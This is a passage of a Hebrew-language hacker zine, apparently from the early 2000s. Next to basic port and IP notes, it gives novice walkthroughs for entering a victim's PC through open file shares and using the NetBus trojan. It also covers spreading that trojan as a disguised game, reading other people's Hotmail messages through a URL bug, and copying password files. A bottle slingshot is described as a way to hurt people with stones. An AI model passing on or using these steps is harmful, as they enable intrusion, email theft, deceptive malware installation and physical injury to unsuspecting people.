‫לתוכנית השולחת החוצה דפי אינטרנט‬

‫יש מספר זיהוי הנקרא מספרי היציאה (‪)port‬‬


‫הנשלח עם כל הודעה‬
‫על השולח לדעת את מספר הפורט ואת כתובת האייפי‪ ,‬כך שפורטים מסויימים הם סטנדרטים‬
‫לדוגמא‪:‬‬
‫שאתם רוצים לקבל דף אינטרנט אתם הולכים לכתובת אייפי מסויימת ולפורט שמונים‬
‫פורט שמונים משמש שרת ‪web‬‬
‫הינה רשימה של חלק מהפורטים הסטנדרטים‪:‬‬

‫‪ftp - 21‬‬
‫‪ telnet - 23‬זה פורט שנותן למשתמשים חשבונות שאלל ואז המשתמשים יכולים להריץ‬
‫פקודות יוניקס על השרת‬
‫‪ - 25‬פורט דואר יוצא‬
‫‪ whois - 43‬להאקרים הפורט הזה חשוב לאללה‪ ....‬זהו פורט שנותן מידע על השרת‬

‫‪247‬‬
‫‪ finger - 79‬זה פורט שאם הוא פתוח זה ממש ממש טוב להאקרים למיניהם פואט זה נותן‬
‫מידע על המשתמשים שעל הסרבר‬
‫‪ - 80‬זה הפורט של ‪ http‬כאילו דפי אינטרנט‬
‫‪ - 110‬קריאת אי מייל‬
‫‪ - 139‬הפורט של השיתופים‬
‫‪ - 433‬פורט של ‪ https‬רשת ‪ http‬מאובטחת‬
‫‪ - 1080‬פורט שבדרך כלל משמש שרתי פרוקסי‬
‫‪ - 6667‬הפורט של ‪irc‬‬

‫וואלה זה כל הפורטים שאני זוכר מצטער‬

‫כתובות ‪ ip‬מיוחדות‬

‫יש כמה כתובות אייפי קבועות מיוחדות שהוקצו למטרות שונות‪:‬‬

‫‪ - 127.0.0.1‬זה ‪ loopback, loopback‬זה בעצם אייפי מקומי כלומר‪,‬‬


‫כל הודעה הנשלחת לכתובת זאת לא תשלח לרשת‪ ,‬אלא תחזור למחשב שממנו היא נשלחה‬

‫‪ - 192.168.1.1-192.168.1.254‬הטווח הזה נועד לשימוש מחשבים על רשת מקומית‬


‫חוץ משגיאות מסויימות‪ ,‬הם לעולם לא יופרעו ע"י העומס של האינטרנט‬

‫‪ - 255.255.255.255‬האייפי הזה ישדר הודעה שלכל מחשב על רשת מקומית‬


‫בהנחה שהמחשבים ברשת המקומית שלכם משתמשים בכתובת‬
‫‪xxx.192.168.1‬‬
‫(ה ‪ xxx‬אחרון)‬
‫אתם יכולים לשדר אל כולם תוך כדי שימוש ב‬
‫‪192.168.1.255‬‬

‫‪GOLGOLET‬‬

‫‪248‬‬
‫מושגים בסיסיים‬
‫טרוג'אן‪ -‬טרוג'אן הכוונה תוכנת פריצה (השם הגיע מהתרגיל עם סוס‬
‫העץ ממלחמה עתיקה של הטרויאנים)‪ ,‬בכל תוכנת פריצה קיימים שני קבצים‬
‫‪ server.exe‬ו ‪client.exe‬‬
‫ה ‪ server‬הוא הקובץ שצריך לשלוח למשתמש שרוצים לפרוץ אליו‪,‬ה ‪client‬‬
‫זה הלוח בקרה‪ ,‬בעזרת ה ‪ client‬של התוכנה אתה נכנס למחשב של מי שהפעיל‬
‫את ה ‪server.exe‬‬

‫וירוס ‪ -‬בהגדרה מדעית הוא נגיף של חולה אך בהגדרה של המחשב‬


‫שהוא בעצם עולם שלם הוא נקרא נזק‪ ,‬כשמפעילים את הוירוס‬
‫הוא גורם לתקלה‪,‬בעיה כלשהיא וזה תלוי בסוג הוירוס‬

‫אי פי ‪ -‬זה מספר של משתמש בשרת‪ .‬כל פעם שאתה מתחבר לשרת אתה מקבל‬
‫מספר אי פי חדש שבשביל לפרוץ למחשבך צריכים מספר אי פי‪.‬‬

‫סיסטם ‪ :system -‬קבצי הפעלה חיוניים מאוד להפעלת הווינדווס‬


‫ישנם מאות קבצים כאלה‪.‬‬

‫‪ - exe‬ישומים\קבצים\קבצי הפעלה (ולפעמים וירוסים וקבצי הפעלה)‬


‫הם קבצי הפעלה(גם למשחקים שונים יש קבצי הפעלה)‬

‫פורט ‪ -‬שרת שפתוח אצלך במחשב שאתה מחובר און ליין‬


‫יש כל מני מספרים לפורטים למשל‪12345 :‬‬

‫רג'יסטרי ‪ - registery -‬זהו בעצם הלב של המחשב כל מה שנרשם במחשב נרשם בתוך‬
‫הרג'סטרי‪.‬‬
‫התוכנות שאתם מתקינים וכל הדברים שקשורים באופן עקיף או ישיר הם בעצם קשורים‬
‫לרג'סטרי למשל אם אתם קובעים דף בית מסויים הוא נירשם ברג'סטרי‪.‬‬

‫‪249‬‬
‫‪GOLGOLET‬‬

‫פריצה דרך שיתוף ללא סוס טרויאני‪.‬‬


‫מה שאתם צרכים‪:‬‬
‫ידיים (חובה)‬
‫שכל (לא חובה)‬
‫ואת התוכנה ‪scanip20‬‬
‫את התוכנה אתם תמצאו ב ‪.kazaa‬‬

‫‪.1‬שלב ראשון גילוי איי פי‬


‫למי שלא יודע לגלות שהשתמש בתוכנה לגילוי איי פי כמו סניפר‬
‫שהיא מגלה איי פי דרך איי סי קיו‬
‫‪.2‬לדעת אם יש למחשב של הקורבן שיתוף‬
‫אתם בטח שואלים איך אני יכול לדעת אם יש לקורבן שיתוף‪...‬‬
‫טוב אז אחרי שאתם מגלים איי פי‬
‫אתם נכנסים לתוכנה (‪)scanip20‬‬
‫להורדה ‪http://reshet3000.com/ipdet.exe‬‬
‫ורושמים את האיי פי של הקורבן בשני השורות שאתם תראו שם‪ .‬ועכשיו הוא יראה לנו‬
‫את התוצאות הבאות‪:‬‬
‫שם מחשב‪,‬את האיי פי שוב‪,‬מראה אם יש שיתוף‪ ,‬וקבוצת עבודה שזה לא ממש חשוב‪.‬‬
‫אם בצד שמאל אתם רואים סימן פלוס‬
‫אז זה אומר שאתם יכולים לפרוץ לו למחשב (אלא אם כן יש סיסמא)‬
‫אם לא תראו פלוס אלא מינוס‪ ,‬אז אתם לא יכולים לפרוץ לקורבן‪.‬‬
‫טוב עד עכשיו יש לנו איי פי‪,‬‬
‫שם מחשב ושיתוף‪ ...‬וזה מספיק‪ ,‬יש לנו את כל הכלים כדי לפרוץ‪.‬‬
‫עכשיו אחרי שיש לנו את כל הדברים‬
‫איך לעזעזאל פורצים???‬
‫טוב תכנסו להתחל<<< חפש קבצים ותקיות <<<<‬
‫תחפשו את הקובץ‬
‫‪LMHOSTS.SAM‬‬
‫זה ימצא לכם קובץ רגיל‪ ,‬מה עושים?‬

‫‪250‬‬
‫תפתחו אותו‪,‬‬
‫תרדו למטה ותבחרו בתוכנית פנקס רשימות‬
‫עכשיו תלכו לשורה האחרונה (שורה חדשה)‬
‫ותרשמו את האיי פי של הקורבן רווח שם המחשב‬
‫נגיד האיי פי של הקורבן ‪ 212.179.144.23‬והשם של המחשב שלו הוא‪user:‬‬
‫אז אתם רושמים‪:‬‬
‫‪user 212.179.144.23‬‬
‫אחרי שרשמתם‬
‫תלכו לקובץ (למעלה מצד שמאל)‬
‫ותעשו שמור‬
‫ואז איקס‬
‫מה שעשינו זה‪ :‬הגדרנו את המחשב של הקורבן אצלנו‪.‬‬
‫טוב‪ ,‬עכשיו שעשינו את הכל‪...‬‬
‫בא הרגע הכי כיף‪.........‬‬
‫לפרוץ לו סוף סוף!‬
‫עכשיו מה שאתם עושים זה‪:‬‬
‫נכנסים להתחל<<<< חיפוש<<<< מחשבים<<‬
‫ושם תרשמו את שם המחשב (‪)user‬‬
‫ותעשו חפש זה יקח כמה שניות‪ ,‬עכשיו זה יראה לכם ציור של מחשב ואיי פי‬
‫פשוט תלחצו פעמיים על המחשב‪.‬‬
‫עכשיו אתם תגידו שאני אלוהים‬
‫וואי פרצנו לו למחשב‬
‫עכשיו אתם יכולים לעשות מה שאתם רוצים במחשב‬
‫(למחוק‪,‬לקחת לו את תוכנות שאתם רוצים‪,‬לשנות שמות של הקבצים‪,‬וכל מה שבא לכם‪)...‬‬
‫‪RESHET‬‬ ‫טוב זה היה המדריך שלי‪.‬מקווה שנהנתם‪.‬‬
‫‪3000‬‬
‫העלאת הודעות ארור למחשב בקלות‬
‫שלום לכולם‪,‬‬
‫זאת הכתבה הראשונה שלי‪ ,‬אני מקווה שתהנו‪ ,‬הפעם אני אסביר לכם איך אתם יכולים לעלות‬
‫למישהו הודעות ארור למחשב במקרה שיש לו ווינדוס‪XP NT WINDOWS2000 :‬‬
‫בשביל לעשות זאת צריך לעשות משהו נורא פשוט‪ ,‬חומרים‪:‬‬
‫‪.1‬אייפי של הקרובן‬
‫‪.2‬ידיים‬
‫‪.3‬מחשב‬
‫אז ככה‪ :‬לוחצים על התחל‪>-----‬הפעלה ושם כותבים את הדבר הבא‪:‬‬
‫‪( net send‬הודעת הארור שאתה רוצה שתיכתב לדוגמא‪ :‬שלום לך) (האייפי של הקורבן)‬
‫כמובן אין צורך לעשות סוגריים‪ ,‬אחרי זה לעשות אנטר פשוט ולחכות עד שחלון הדוס יעלם‬
‫במקרה שאין‬
‫לבן אדם את הפירוול של האקס פי ההודעה תעלה ללא בעיה‪ ,‬ואני מדגיש‪ ,‬לחכות עד שחלון‬
‫הדוס‬
‫יעלם ואז הוא מקבל את ההודעה‪.‬‬
‫דוגמא‪net send 127.0.0.1 hi stupid boy :‬‬
‫מקווה שתהנו‪.‬‬
‫‪RESHET3000‬‬

‫‪251‬‬
‫מקלע ‪1‬‬
‫חומרים‪:‬‬

‫•בקבוק קולה ‪ 1.5‬ליטר‪.‬‬

‫•מספריים‪.‬‬

‫•בלון‪.‬‬

‫•גומיה רגילה (מהחומות הקטנות האלה)‪.‬‬

‫•משהו לזרוק אבל שיהיה קטן‪.‬‬

‫הוראות הכנה‪:‬‬

‫לוקחים את הבקבוק וגוזרים אותו בעזרת המספריים במקום שממנו מתחילה צורת המשפך שלו‪,‬‬
‫לאחר מכן מוציאים את הפקק ושומרים אותו (אולי תוכלו להשתמש בו לפצצות אחרות‪.)...‬‬

‫עכשיו אתם לוקחים את הבלון ומחברים את הפיה שלו לפיה של הבקבוק ככה שתעטוף אותו‪.‬‬
‫עכשיו אתם לוקחים את הגומיה ומלפפים אותה על הבלון והפיה ככה שהיא תחזיק את הבלון‬
‫חזק כדי שהוא לא ישתחרר‪.‬‬

‫לבסוף‪ ,‬אתם לוקחים אבן קטנה (מומלץ לגרימת כאב) או איזה חתיכת פרי עבה (יש צמחים‬
‫כאלה שמגדלים פירות קטנים לא למאכל והם לא ממש כואבים אבל בכל מקרה חבר שלי‬
‫השתמש בהם‪.)...‬‬

‫‪252‬‬
‫ומכניסים אותה לבלון‪ ,‬לאחר מכן אתם מותחים אותו ואז מכוונים ומשחררים‪ .‬האבן תעוף רחוק‬
‫לאללה‪( .‬האבן חייבת להיות הרבה יותר קטנה מהפיה של הבקבוק בגלל זה מותר רק אבני חצץ)‬

‫‪GOLGOLET‬‬

‫נטבס התוכנה של הליימרים‬

‫כן כן אני הולך להסביר לכם על התוכנה נטבס אז לפני שנתחיל‬


‫אני יכתוב אינדקס על מה שהולכים ללמוד‪.‬‬

‫אינדקס‪ :‬מה צריך‪:‬‬


‫נטבס התוכנה מותקנת‬
‫מוח (כזה שחושבים איתו)‬
‫חוש הומור‬
‫רצון ללמוד ולהבין‬

‫‪253‬‬
‫אז ככה דבר ראשון פתחו נטבס יופיע החלון הזה‬
‫שימו לב לתיבת האי פי שמסומנת בכחול‪.‬‬

‫כאן רישמו את האי פי של הקורבן‬

‫פורט‪ :‬בתיבת הפורט הקלידו ‪ 12345‬זהו הפורט של נטבס‬

‫התחברות‪ :‬אני מזכיר כאן שאי אפשר לפרוץ לכל אחד רק לכאלה שהפאט'ש של נטבס מותקן‬
‫אצלם אם תרצו לחבר מישהו לפאט'ש אני יסביר בסוף‬
‫אוקי אז לאחר שתלחצו על כפתור ‪ connect‬נטבס יכתוב למטה‬
‫"‪"connect to 135.432.432.214 feb sun 20/9/01‬‬
‫זה יראה לכם שאתם מחוברים עכשיו בואו נראה מה אפשר לעשות‪.‬‬

‫‪254‬‬
‫‪ Server admin‬אפשרות זאת שומרת את האי פי במחשב שלך‬
‫‪ Open cd rom‬פתח לקורבן את כונן הדיסקים נחמד להשתעשע‬
‫‪ Show image‬פתח תמונה במחשב הקורבן‬
‫‪ Swap mouse‬תוקע את העכבר‬
‫‪ Start progrem‬נותן אופציה לפתוח קובץ פתחו וירוס אצל הקורבן‬
‫‪ Msg manager‬שלח הודע בפורמט שאתה רוצה‬
‫‪ Screendump‬מפעיל מסך לבן ומעצבן‬
‫‪ Get info‬נותן מידע כל שהוא על השרת והסרוור‬
‫‪ Port redirect‬מראה לך פורטים פתוחים אצל הקורבן‬
‫‪ Play sound‬נותן אפשרות לפתוח קובץ וואב הקליטו קול שלכם‬
‫‪ Exsit windows‬אפשרויות כיבוי מחשב‬
‫‪ Send texr‬שלח טקסט לקורבן‬
‫‪Active wnds‬‬
‫‪ Mouse pos‬מפסיק פעולת עכבר‬
‫‪Listen‬‬
‫‪ Sound sys‬נותן לכם גישה לבקרת הסאונד של הקורבן‬
‫‪ Server setup‬בקרת סרוור‬
‫‪ Control mouse‬לחצו על אפשרות זאת והזיזו את העכבר אצל הקורבן יזוז גם העכבר‬
‫‪ Go to url‬רשום כתובת אתר ושלח את הקורבן לאתר אנטרנט‬
‫‪ Key meneger‬אפשרות מקשים‬
‫‪ File maneger‬גישה ללוח הבקרה !!!!!!!!‬

‫עד כאן ההסבר על האפשרויות הבטחתי שאני יכתוב על איך לחבר אנשים לפאט'ש של נטבס אז‬
‫הנה זה בא‪.‬‬

‫‪255‬‬
‫דבר ראשון תורידו את הפאט'ש של נטבס חפשו את זה באסטה לה ויסטה ‪ netbus‬זה ימצא כל‬
‫מה שקשור לתוכנה ‪.‬‬
‫אז זה בערך משחק של ‪ 20 10‬שניות שמשחקים במשחק זה נחמד אבל בעצם מאחורי המשחק‬
‫החמוד מתנהל התקנת פורט יותר נכון המחשב שמשחק במשחק נהפך לכאילו שרת קטן שכולם‬
‫יכולים להתחבר אילו והפורט של נטבס הוא ‪ 12345‬אז תגידו למישהו עם הוא רוצה משחק‬
‫שלחו לו את הפאט'ש של נטבס ותהינו‬
‫‪GOLGOLET‬‬

‫‪256‬‬
‫באג ההוטמייל‬

‫אם יש לכם ‪ YES‬אז בטח שמעתם על ערוץ האינטרנט וההיי טק שמו האמיתי הוא‪:‬‬
‫‪.TECHTV‬‬
‫אז באיזה תוכנית אחת דיברו על הבאג של הוטמייל‪ ,‬שוב נכנסתי לגוגל וחיפשתי וחיפשתי‪...‬‬
‫ובסוף מצאתי משהו ב‪-‬‬
‫‪www.astalavista.com‬‬
‫(אתר מצויין !)‬

‫** נראה לי זה פועל רק בהוטמייל האנגלי (‪)com.‬‬

‫קראתי את הטקסט והבנתי אותו‪ ,‬ועכשיו אני יציג לכם את הדרך הידנית ואחר כך עם התוכנה‬
‫(יכול להיות שימושי‪)...‬‬

‫קודם כל‪ ,‬אתם צריכים לדעת את השם משתמש של אותו הבן‪-‬אדם‪( ...‬זה לא קשה להשגה‪)...‬‬
‫והחלק הקל‪:‬‬

‫(תעשו ‪ CTRL+SHIFT‬שמאלי כדי לראות יותר טוב)‬

‫‪http://pv2fd.pav2.hotmail.msn.com/cgi-‬‬
‫‪bin/saferd?_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi‬‬
‫‪=%2dbin%2fgetmsg&hm___qs‬‬
‫‪%26msg%3dMSG998047250%2e22%26start%3d9702%26len%3d9687%26raw‬‬
‫‪%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26login%3dusername‬‬
‫‪%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com‬‬

‫כל זה צריך להיות בשורה אחת‬

‫הסבר‪:‬‬
‫‪ = USERNAME‬שם המשתמש‪...‬‬
‫‪ = MSG943322803%2e16‬זה המספר של ההודעה (במהשך נדון בזה‪)...‬‬

‫אם הכתובת לא פועלת נסו את זה‪:‬‬

‫‪http://lw14fd.law14.hotmail.msn.com/cgi-‬‬
‫‪bin/saferd?_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi‬‬
‫‪=%2dbin%2fgetmsg&hm___qs‬‬
‫‪%26msg%3dMSG998047250%2e22%26start%3d9702%26len%3d9687%26raw‬‬
‫‪%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26login%3dusername‬‬
‫‪%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com‬‬

‫לפי אותם כללים‪...‬‬

‫** אם אתם רוצים לקרוא הודעות ב‪ hotmail.co.il -‬תשנו את ‪ hotmail.com‬ל‪hotmail.co.il -‬‬


‫** לא בדוק !!!‬

‫כדי לקרוא הודעה מסויימת אתה חייב לדעת את המספר שלה‪...‬‬


‫התחביר‪:‬‬
‫‪MSG943322803XXX‬‬

‫‪=X‬מספר כלשהו‬

‫‪257‬‬
‫החלק הקשה זה לנחש את מספר ההודעה‪ .....‬לשם כך יש את התוכנה‪...‬‬

‫כדי להוריד את התוכנה‪:‬‬

‫‪http://astalavista.com/hacking/password/hobo04r2.zip‬‬

‫אני לא אחראי לשום נזק שייגרם בכל צורה ובכל דרך מכל אחד בכל מקום !‬
‫כל מה שאתם עושים על אחריותכם!‬
‫הוטמייל בודקת את האיפים שנכנסים לקרוא אימייל!‬
‫אם נדפקתם זה אשמתכם אני לא אחראי!‬
‫אני לא גיליתי את הבאג הזה אם אתם רוצים לקרוא עוד לכו לאסטה לה ויסטה !‬
‫‪www.astalavista.com‬‬
‫‪HaSaTaN‬‬

‫‪258‬‬
‫פ‪-‬ר‪-‬י‪-‬צ‪-‬ה ל‪-‬א‪-‬ת‪-‬ר‪-‬י‪-‬ם!!!‬
‫כל אתר בעולם‪ walla goop google ,‬כולם! שייכים לקבוצה אחת של קבצים‪ ,‬כל הקבצים של‬
‫האתרים מאוחסנים על שרת!‬
‫כשאתה בא ל‪ explorer -‬ומקיש כתובת כל שהיא‪ ,‬ה‪ explorer -‬בעצם פותח את הקבצים‬
‫שמאוחסנים על השרת‪.‬‬
‫ישנם כל מיני שרתים‪ ,‬יש שרתים מסוג ‪ iis‬ויש עוד הרבה סוגי שרתים!‬
‫כמעט לכל שרת‪ ,‬ישנו באג (באג תכנותי‪ ,‬או מקום שניתן לנצלו לצורך חדירה לתוך האתר)‪,‬‬
‫ה"באג" הזה נקרא אקספלויט (הכתבה הבאה‪ ,‬תעסוק באקספלויטים)‪.‬‬
‫נגיד שפתחתי את האתר ‪ walla‬מה קורה? בואו נראה שלב שלב!‬

‫‪ .1‬ה‪ explorer -‬מבקש הרשאה מהשרת להשיג גישה אליו‪.‬‬


‫‪ .2‬באם השרת יאשר יקראו הדברים הבאים‪:‬‬

‫* השרת יזהה אותך וירשום את כל פעולותיך‬


‫* ה‪ explorer -‬יפתח את הקובץ ‪ html‬או ‪ htm‬של האתר שמאוכסן על שרת מסוג ‪ iis‬נניח!‬

‫כפי שאני מניח ששמתם לב‪ ,‬השרת מזהה אתכם ואת מספר ה‪ Ip -‬שלכם‪ ,‬בכתבה שנקראת‬
‫‪ proof-pc‬תלמדו איך להסתיר את עצמיכם!‬

‫את אותה פעולה ניתן לבצע בטלטנט (‪ )telnet‬ע"י <התחל<הפעלה‪telnet :‬‬


‫רישמו ב‪ host -‬את כתובת האתר (ללא ‪ ) http://‬וב‪ port -‬כיתבו ‪ ,80‬שזהו הפורט של הצפייה‬
‫בדפי אינטרנט‪.‬‬
‫אחרי שתקישו משהו‪ ,‬תקבלו לוודאי הודעת שגיאה כלשהי ושמה תראו את סוג השרת שהאתר‬
‫רץ עליו!‬
‫בעצם מה שעשינו‪ ,‬זה השתמשנו בטלנט בתור דפדפן‪ ,‬רק שב‪ -‬דפדפן‪ ,‬הכל גרפי‪ ,‬ואילו ב‪-‬טלנט‬
‫אנחנו מקישים פקודות!‬
‫‪HaSaTaN‬‬

‫פ‪-‬ר‪-‬י‪-‬צ‪-‬ה ל‪-‬א‪-‬ת‪-‬ר‪-‬י‪-‬ם ‪!!!2‬‬

‫‪259‬‬
‫נכון חיכיתם לזה??‬
‫נכון‪ ,‬נכון?‬
‫אז בגלל שאתם ל כך רוצים להמשיך הנה האינדקס של "כתבת ‪ -‬המשך ‪ -‬על ‪ -‬פריצה ‪-‬‬
‫לאתרים"‪:‬‬
‫‪ .1‬מהו האקספלויט (‪)exploit‬‬
‫‪ .2‬איך הוא עובד‬
‫‪ .3‬דוגמא לאקספלויט פשוט‬

‫‪.1‬‬
‫האקספלויט תרגומו "ניצול"‪ ,‬ומיד אתם תבינו מדוע‪ ,‬אז כפי שהסברתי בגיליון הקודם נגיד יש‬
‫שרת מסוים‪ ,‬לעניינינו ‪ ,iis‬מנהל השרת הזה היה מאוד טיפש‪ ,‬יותר טיפש מהחרא שלי‪ ,‬בכל‬
‫מקרה‪ ,‬מה שהוא עשה זה השאיר פתח (‪ )exploit‬כל כך גדול שילד בן ‪ 3‬יכול לפרוץ אליו!‬

‫מה שהוא עשה היה פשוט‪ ,‬מאוד הוא נכנס לשרת‪ ,‬בתור משתמש אנונימי (‪ ,)anonymous‬אל‬
‫תדאגו אני כבר אסביר‪.‬‬
‫ישנה אפשרות‪ ,‬שנפוצה במיוחד בשרתי ‪ FTP‬להיכנס באופן אנונימי (ללא הכנסת זהות)‪ ,‬בשביל‬
‫הרישום של התנועות בשרת השרת מבקש ממך את האימייל (דוא"ל) בתור שם משתמש‪.‬‬
‫אז שרת אחד‪ ,‬בשם ‪ IIS 4.0 v‬השאיר פתח כזה שמאפשר את הכניסה אנונימית (חחח‪ )...‬איך‬
‫אומרים‪" :‬המחשב לא טועה אלא אם זה מייקרוסופט‪."...‬‬
‫אז כמו שהבאתי את הדוגמא הזאת‪ ,‬ישנם כמה סוגי אפשרויות לניצול השרת‪.‬‬

‫‪.2‬‬
‫‪ ,ok‬אז ככה‪:‬‬
‫בעצם אנו מריצים את האקספלויט על השרת כך שהשרת מקבל את הפקודות דרך השאלל‬
‫שלכם (כתבה על שאלל מובאת בגיליון הזה‪ ,‬חובה לקריאה) לאחר שהעלתם את האקספלויט ל‪-‬‬
‫‪ box‬שלכם (תקראו את הכתבה של השאלל)‪.‬‬
‫האקספלויט כתוב בשפת ‪ c‬או ‪ ,c++‬לאחר ההרצה בד"כ‪ ,‬אם האקספלויט עובד כראוי הוא אמור‬
‫לפגוע איך שהו בשרת‪ ,‬בד"כ נוהגים לדרג את רמת הפגיעה מ‪ + 1-5 :‬הסבר לפגיעה‪ ,‬לדוגמא‪,‬‬
‫אם תמצא אקספלויט ‪ -‬יהיה כתוב לידו ‪( 4‬לדוגמא) ו‪ -‬גם את פגיעתו לדוגמא‪you'll get ,5" :‬‬
‫‪( "root pozitive‬פירוש‪ ,5" :‬אתה תקבל עמדת שולט")‪ ,‬כמובן שכזאתי פגיעה אינה כ"כ‬
‫נפוצה‪.‬‬

‫‪.3‬‬
‫לאחר שתלמדו ‪ c‬או ‪ c++‬תלמדו איך לתקשר אם השרת‪ ,‬דרך בניית האקספלויט (שבעצם יכול‬
‫להיות לא אקספלויט אם הבנתם)‪ ,‬תדעו לבנות אקספלויטים‪ ,‬בכל מקרה אני אתן דוגמא‬
‫באנגלית מדוברת‪ ,‬אני יודע שזה מצחיק אבל זה יעזוא לכם להבין‪:‬‬

‫*\‬
‫הפקודות הם לא הפקודות האמיתיות של ‪ c‬או ‪ ,c++‬הם רק דומגא קלילה‪.‬‬
‫\*‬

‫‪( connect‬התחברות לשרת)‬


‫‪( hello‬הזדהות)‬
‫‪( copy *.pwl a:‬העתק את כל קבצי ה‪ ,pwl -‬אם קראתם את כל הגיליונות שלי אתם כבר בטח‬
‫יודעים מה זה ‪)pwl‬‬
‫‪( copy *.log a:‬כנ"ל רק לגבי קבצי ‪.)log‬‬
‫‪( quit‬יציאה‪ ,‬או במילים אחרות התנתקות מהשרת)‬

‫עכשיו‪ ,‬הבא נבדוק מהי לדעתכם רמת הפגיעה של אקספלויט זה?‬


‫תחשבו קצת‪ ,‬נו‪ ...‬טוב אני ידרג את זה כ‪3 -‬‬

‫‪260‬‬
‫שואלים למה?‬
‫בואו קודם נראה מה האקספלויט הקטן שלנו עשה‪ ,‬דבר ראשון הזדהינו כאנונימיים (דבר שהוא‬
‫כל כך הגיוני בשרתים רגילים‪ ,‬אבל אם מצאתם את האקספלויט הזה לשרת מסוים כנראה‬
‫שבשרת הזה ישנה את האפשרות לכניסה אנונימית)‪ ,‬הפקודה ‪ hello‬מזהה אותנו כאנונימיים‬
‫(בינתיים‪ ,‬עד שלא נציג זהות אחרת)‪ ,‬עכשיו הוא יעתיק את כל הקבצים החשובים בשבילנו (‬
‫‪ pwl‬הינם קבצים שבהם מאוחסנים ססמאות) ואז נצטרך לפצח את ה‪-‬קבצים אם כוח ברוטלי (‬
‫‪ ,)brutal - force‬דבר שלא בטוח שנצליח בהתחשב בכך שזה קבצי‪ pwl -‬ו‪ log -‬של שרתים ולא‬
‫של מחשבים רגילים‪ ,‬אז רמת האבטחה תהיה הרבה יותר גדולה‪.‬‬

‫‪HaSaTaN‬‬

‫‪261‬‬
‫‪SSL‬‬

‫פרוטוקול ה‪ssl -‬‬


‫מהו ‪ ssl‬אתם שואלים?‬
‫חכו בסבלנות‪ ,‬אני יסביר הכל!‬
‫קודם כל קצת רקע‪:‬‬
‫הפרוטוקול נוצר לפני כ‪ 5 -‬שנים ע"י חברת ‪( netscape‬הדפדפן נטסקייפ)‪ ,‬הפרוטוקול הזה‬
‫יושב מעל פרוטוקול ה‪ tcp/ip -‬ומטרתו היא אחת בלבד!‬
‫להגן ע"י קידוד על ה‪ phackts -‬שלכם!‬
‫???‬
‫‪ .o.k‬לא הבנתם‪ ,‬אל תדאגו‪ ,‬נסביר טוב יותר!‬
‫נגיד שהלכתם לחנות באינטרנט נגיד ‪ www.amazons.com‬ואתם רוצים לקנות שם משהו!‬
‫אז אתם בוחרים את המוצר ומוסיפים אותו לסל הקניות שלכם‪ ,‬כשסיימתם‪ ,‬אתם מתבקשים‬
‫למלא טופס שבו אתם מכניסים את מספר ה‪-‬כטיס אשראי שלכם‪ ,‬נכון?‬
‫"כן"‬
‫יפה‪ ,‬לחצתם ‪ ENTER‬מה קרה? המחשב שלכם לוקח את המידע שהכנסתם ומחלק אותו למלא‬
‫מלא חלקים‪ ,‬כל חלק מכיל קצת מהפרטים של הטופס שלכם!‬
‫הקבצים האלה נקראים‪ phackt :‬ביחיד ו‪ phackts -‬ברבים‪.‬‬
‫ו‪ ...‬הוא שולח אותם (את ה‪ )phackts -‬לשרת וההזמנה מתבצעת!‬
‫נגיד איזה האקר פרץ לשרת‪ ,‬הוא יכול לבוא ובפשטות לקחת את ה‪ phackts -‬שלכם!‬
‫מפחיד אה?‬
‫מהיום‪ ,‬אתם לא קונים אונליין‪ ,‬נכון?‬
‫"לא"!‬
‫לכן המציאו את פרוטוקול ה‪ ,ssl -‬הפרוטוקול‪ ,‬לוקח את ה‪ Phackts -‬שלכם ופשוט מקדד אותם‬
‫לשפה שרק השרת יכול לקרוא‪ ,‬כך אפילו אם פרץ האקר לשרת‪ ,‬לא יעזור לו אם הוא יקח את ה‪-‬‬
‫‪ phackts‬שלכם!‬
‫כי כל ה‪ Phackts -‬מקודדים!‬

‫**‬

‫*‬

‫לא מזמן יצא פרוטוקול ביטחון חדש שנקרא‪TLS :‬‬


‫הפרוטוקול הזה מבוסס על ה‪ ssl -‬אבל אם שיפורים שיקשו על ההאקרים (אפילו הטובים‬
‫ביותר) לפצח את ה‪! Phackts -‬‬

‫**‬

‫*‬

‫שאלות נפוצות‪:‬‬

‫ש‪ :‬האם כדאי לי לקנות דברים באינטרנט?‬


‫ת‪ :‬בטח‪ ,‬בד"כ זה אפילו יותר זול!‬

‫ש‪ :‬איך אני יודע אם האתר שבו אני קונה דבר מסויים מוגן ע"י פרוטוקול הגנה מסוים?‬

‫‪262‬‬
‫ת‪ :‬זה די פשוט‪ ,‬או שה‪-‬דפדפן יודיע לך במין הודעה כזאת‪ ,‬או שתראה בתחתית המסך סימן של‬
‫מנעול צהוב!‬
‫אם אין את אחד מהדברים הנ"ל צא מהאתר מיד!!!‬
‫‪HaSaTaN‬‬

‫עשרת הדיברות להאקר‬


‫‪ .1‬לעולם‪ ,‬אבל לעולם‪ ,‬אל תזדהה ברשת‪ ,‬לא טלפון לא שם‪ ,‬לא כרטיס אשראי‪ ,‬לא כלום!‬

‫‪ .2‬תמיד‪ ,‬אבל תמיד‪ ,‬תלמד ותנסה לעשות דברים חדשים!!!‬

‫‪ .3‬אל תספר לאמא'שך (אמא שלך‪ ,‬בסדר‪ ,‬שיהיה אמא שלך יא חנונים) שאתה יודע משהו על‬
‫האקינג!‬
‫היא תהרוס לך את הקריירה שעוד לא בנית!‬

‫‪ .4‬אל תספר לאבא שלך‪ ,‬כנ"ל‪.‬‬

‫‪ .5‬אם אתה נכנס לאתר של האקרים‪ ,‬תדאג טוב טוב‪ ,‬שזה יהיה האתר שלי! (הכתובת למעלה)‪.‬‬

‫‪ .6‬אם אתה ליימר‪ ,‬עוף לי מהעיניים‪ ,‬ואל תיכנס יותר לאתר הזה‪.‬‬

‫‪ .7‬אל תיכנס לאתר שלי עם מסטיקים‪ ,‬זה נדבק לי ל‪ ftp -‬ואחרי זה האתר שלי נראה מלוכלך!‬

‫‪ .8‬אם יש לך דברים טובים להגיד לי פנה אלי ב‪icq -‬‬

‫‪ .9‬אם יש לך דברים רעים להגיד לי‪ ,‬תגיד אותם לאמא שלך‪( ,‬עיין מספר ‪)3‬‬

‫‪ .10‬כל יום עיין בעשרת‪-‬הדיברות של ההאקר‪ ,‬ותלמד את זה בע"פ‪ ,‬זה יעזור לך יום אחד‪...‬‬
‫‪HaSaTaN‬‬

‫‪263‬‬
‫לעקוף סיסמאות של ‪WORD‬‬
‫הנה טיפ קטן‪:‬‬
